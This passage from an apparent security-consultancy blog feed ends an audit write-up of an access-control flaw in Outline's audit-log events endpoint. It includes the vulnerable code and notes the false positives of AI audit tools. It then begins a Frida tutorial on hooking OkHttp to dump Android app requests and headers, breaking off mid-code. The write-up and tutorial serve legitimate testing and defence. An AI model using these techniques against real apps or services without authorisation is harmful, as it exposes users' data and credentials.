    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;actorId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;where&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;where&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;actorId&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;documentId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;where&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;where&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;documentId&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;collectionId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;where&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;where&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;collectionId&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;

      &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;collection&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Collection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;findByPk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;collectionId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;userId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;authorize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;collection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;collectionIds&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;collectionIds&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;paranoid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;where&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;where&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Op&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;or&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
          &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;na&quot;&gt;collectionId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;collectionIds&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
          &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
          &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;na&quot;&gt;collectionId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
              &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Op&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;is&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
          &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;loadedEvents&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;findAll&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;where&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;order&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;sort&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;direction&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]],&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;include&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;na&quot;&gt;model&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
          &lt;span class=&quot;na&quot;&gt;as&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;actor&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
          &lt;span class=&quot;na&quot;&gt;paranoid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;offset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;state&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;pagination&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;offset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;limit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;state&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;pagination&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;limit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;

    &lt;span class=&quot;nx&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;body&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;pagination&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;state&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;pagination&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Promise&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;all&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;loadedEvents&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;presentEvent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;auditLog&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;While the code implements team-level isolation (via the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;teamId&lt;/code&gt; check) and collection-level authorization, it fails to validate access to individual events. An attacker can manipulate the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;actorId&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;documentId&lt;/code&gt; parameters to view events they shouldn’t have access to. This is particularly concerning since audit log events might contain sensitive information (e.g., document titles). &lt;strong&gt;This is a nice catch, something that is not immediately evident to a human auditor without an extended understanding of Outline’s authorization model.&lt;/strong&gt;&lt;/p&gt;

&lt;h3 id=&quot;on-the-use-of-ai-tools&quot;&gt;On the Use of AI tools&lt;/h3&gt;

&lt;p&gt;Despite the discovery of OUT-Q325-07, our experience using three AI security platforms was, overall, rather disappointing. LLM-based models can identify some vulnerabilities; however, the rate of false positives vastly outweighed the few true positives. What made this especially problematic was how convincing the findings were: the descriptions of the alleged issues were often extremely accurate and well-articulated, making it surprisingly hard to confidently dismiss them as false positives. As a result, cleaning up and validating all AI-reported issues turned into a 40-hour effort.&lt;/p&gt;

&lt;p&gt;Such overhead during a paid manual audit is hard to justify for us and, more importantly, for our clients. AI hallucinations repeatedly sent us down unexpected rabbit holes, at times making seasoned consultants, with decades of combined experience, feel like complete newbies. While attempting to validate alleged bugs reported by AI, we found ourselves second-guessing our own judgment, losing valuable time that could have been spent on higher-impact tasks.&lt;/p&gt;

&lt;p&gt;While the future undoubtedly involves LLMs, it is not quite here yet for high-quality security engagements targeting popular, well-audited software. At Doyensec, we will continue to explore and experiment with AI-assisted tooling, adopting it when and where it actually adds value. We don’t want to be remembered as anti-AI hypers but we’re equally not interested in outsourcing our expertise to confident-sounding hallucinations. For now, human intuition, experience, and skepticism - combined with top-notch tooling - remain very hard to beat. &lt;a href=&quot;mailto:info@doyensec.com&quot;&gt;Challenge us!&lt;/a&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Intercepting OkHttp at Runtime With Frida - A Practical Guide</title>
   <link href="https://blog.doyensec.com/2026/01/22/frida-instrumentation.html"/>
   <updated>2026-01-22T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2026/01/22/frida-instrumentation</id>
   <content type="html">&lt;h3 id=&quot;introduction&quot;&gt;Introduction&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://square.github.io/okhttp/&quot;&gt;OkHttp&lt;/a&gt; is the defacto standard HTTP client library for the Android ecosystem. It is therefore crucial for a security analyst to be able to dynamically eavesdrop the traffic generated by this library during testing. While it might seem easy, this task is far from trivial. Every request goes through a series of mutations between the initial request creation and the moment it is transmitted. Therefore, a single injection point might not be enough to get a full picture. One needs a different injection point to find out what is actually going through the wire, while another might be required to understand the initial payload being sent.&lt;/p&gt;

&lt;p&gt;In this tutorial we will demonstrate the architecture and the most interesting injection points that can be used to eavesdrop and modify OkHttp requests.&lt;/p&gt;

&lt;h3 id=&quot;premise&quot;&gt;Premise&lt;/h3&gt;

&lt;p&gt;For the purpose of demonstration, I built a simple APK with a flow similar to the app I recently tested. It first creates a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Request&lt;/code&gt; with a JSON payload. Then, a couple of interceptors perform the following operations:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Add an authorization header&lt;/li&gt;
  &lt;li&gt;Calculate the payload signature, adding that as a header&lt;/li&gt;
  &lt;li&gt;Encrypt the JSON payload and switch the body to the encrypted version&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/frida-instrumentation-flow-scheme.svg&quot; alt=&quot;Request Flow Scheme&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 200px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;Looking at this flow it becomes obvious how reversing the actual application protocol isn’t straightforward. Intercepting requests at the moment of actual sending will yield the actual payload being sent over the wire, however it will obscure the JSON payload. Intercepting the request creation, on the other hand, will reveal the actual JSON, but will not reveal custom HTTP headers, authentication token, nor will it allow replaying the request.&lt;/p&gt;

&lt;p&gt;In the following examples, I’ll demonstrate two approaches that can be mixed and matched for a full picture. Firstly, I will hook the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;realCall&lt;/code&gt; function and dump the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Request&lt;/code&gt; from there. Then, I will demonstrate how to follow the consecutive &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Request&lt;/code&gt; mutations done by the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Interceptors&lt;/code&gt;. However, in real life scenarios hooking every &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Interceptor&lt;/code&gt; implementation might be impractical, especially in obfuscated applications. Instead, I’ll demonstrate how to observe &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;intercept&lt;/code&gt; results from an internal &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RealInterceptorChain.proceed&lt;/code&gt; function.&lt;/p&gt;

&lt;h3 id=&quot;helper-functions&quot;&gt;Helper Functions&lt;/h3&gt;

&lt;p&gt;To reliably print the contents of the requests, one needs to prepare the helper functions first. Assuming we have an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;okhttp3.Request&lt;/code&gt; object available, we can use &lt;a href=&quot;https://frida.re/docs/android/&quot;&gt;Frida&lt;/a&gt; to dump its contents:&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;dumpRequest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;function_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;=== &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;function_name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; ===&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;method: &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;url: &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;-- headers --&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;dumpHeaders&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;dumpBody&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;=== END ===&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;dumpRequest failed: &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Dumping headers requires iterating through the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Header&lt;/code&gt; collection:&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;dumpHeaders&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;headers&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

        &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
